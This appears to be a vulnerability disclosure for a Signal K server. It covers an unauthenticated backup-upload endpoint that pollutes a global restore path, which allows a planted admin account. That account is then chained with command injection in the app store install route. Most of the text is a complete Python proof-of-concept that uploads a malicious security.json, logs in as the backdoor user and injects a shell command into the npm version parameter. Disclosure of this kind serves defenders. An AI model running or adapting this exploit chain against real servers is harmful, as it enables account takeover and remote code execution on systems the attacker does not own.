Vulnerable Code Analysis: 1. Global State: restoreFilePath is defined at the top level of the module. typescript // src/serverroutes.ts let restoreFilePath: string 2. Unauthenticated State Pollution: The /skServer/validateBackup endpoint updates this variable. Crucially, this endpoint lacks authentication middleware, allowing any user to access it. typescript app.post(${SERVERROUTESPREFIX}/validateBackup, (req, res) => { // ... handles file upload ... restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path }) 3. Restore Hijacking: The /skServer/restore endpoint uses the polluted restoreFilePath to perform the restoration. typescript app.post(${SERVERROUTESPREFIX}/restore, (req, res) => { // ... const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path // ... })
Exploit Chain: 1. Pollution: Attacker uploads a malicious zip file to /validateBackup. The server saves it and updates restoreFilePath to point to this malicious file. 2. Hijacking: When /restore is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files. 3. Backdoor: The attacker overwrites security.json to add a new administrator account. 4. RCE: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (/skServer/appstore/install/...) to execute arbitrary system commands (e.g., npm install injection).
PoC Here is a complete Python script to reproduce the full exploit chain.
python import requests import zipfile import io import json import time
Configuration TARGETURL = "http://localhost:3000" BACKDOORUSER = "hacker" BACKDOORPASS = "hacked1234"
def step1plantbackdoor(): print("[] Step 1: Planting Backdoor via State Pollution...") # 1. Create malicious zip with security.json zipbuffer = io.BytesIO() with zipfile.ZipFile(zipbuffer, 'w') as z: # Add backdoor admin user securityconfig = { "users": [{ "username": BACKDOORUSER, "password": BACKDOORPASS, "permissions": "admin" }] } z.writestr("security.json", json.dumps(securityconfig)) # Enable security to make the backdoor effective z.writestr("settings.json", json.dumps({"security": {"strategy": "./tokensecurity"}})) zipbuffer.seek(0)
# 2. Pollute State (Unauthenticated) print(" [+] Sending malicious backup to /validateBackup...") res = requests.post(f"{TARGETURL}/skServer/validateBackup", files={'file': ('malicious.zip', zipbuffer, 'application/zip')}) if res.statuscode != 200: print(" [-] Failed to pollute state.") return False
# 3. Trigger Restore (Hijacking) print(" [+] Triggering restore to overwrite server config...") # Note: In a real attack, if /restore is protected, attacker waits for admin to use it. # Here we assume we can trigger it or security is currently off. res = requests.post(f"{TARGETURL}/skServer/restore", json={"security.json": True, "settings.json": True}) if res.statuscode in [200, 202]: print(" [+] Restore triggered successfully. Backdoor planted.") print(" [!] PLEASE RESTART THE SERVER to load the new configuration.") return True else: print(f" [-] Restore failed: {res.statuscode} {res.text}") return False
def step2executerce(): print("\n[] Step 2: Executing RCE as Backdoor User...") # 1. Login session = requests.Session() loginpayload = {"username": BACKDOORUSER, "password": BACKDOORPASS} res = session.post(f"{TARGETURL}/signalk/v1/auth/login", json=loginpayload) if res.statuscode != 200: print(" [-] Login failed. Did you restart the server?") return token = res.json()['token'] print(" [+] Login successful. Authenticated as Admin.")
# 2. RCE Payload (Windows Example) # Injecting command into version parameter of npm install # Command: echo RCESUCCESS > rceproof.txt cmdpayload = "1.0.0 & echo RCESUCCESS > rceproof.txt &" # We need a valid package name to bypass existence check packagename = "@signalk/freeboard-sk" print(f" [+] Sending RCE payload: {cmdpayload}") headers = {'Authorization': f'Bearer {token}'} try: session.post(f"{TARGETURL}/skServer/appstore/install/{packagename}/{cmdpayload}", headers=headers, timeout=5) except: pass # Timeout is expected as the command might hang or take time
print(" [+] Payload sent. Check for 'rceproof.txt' in server root.")
if name == "main": # Run Step 1, then restart server manually, then Run Step 2 # step1plantbackdoor() step2executerce()
Impact Remote Code Execution (RCE), Account Takeover, Denial of Service. Verified: RCE is demonstrated by creating a file named rceproof.txt containing the text "RCESUCCESS" on the server filesystem using the exploit chain.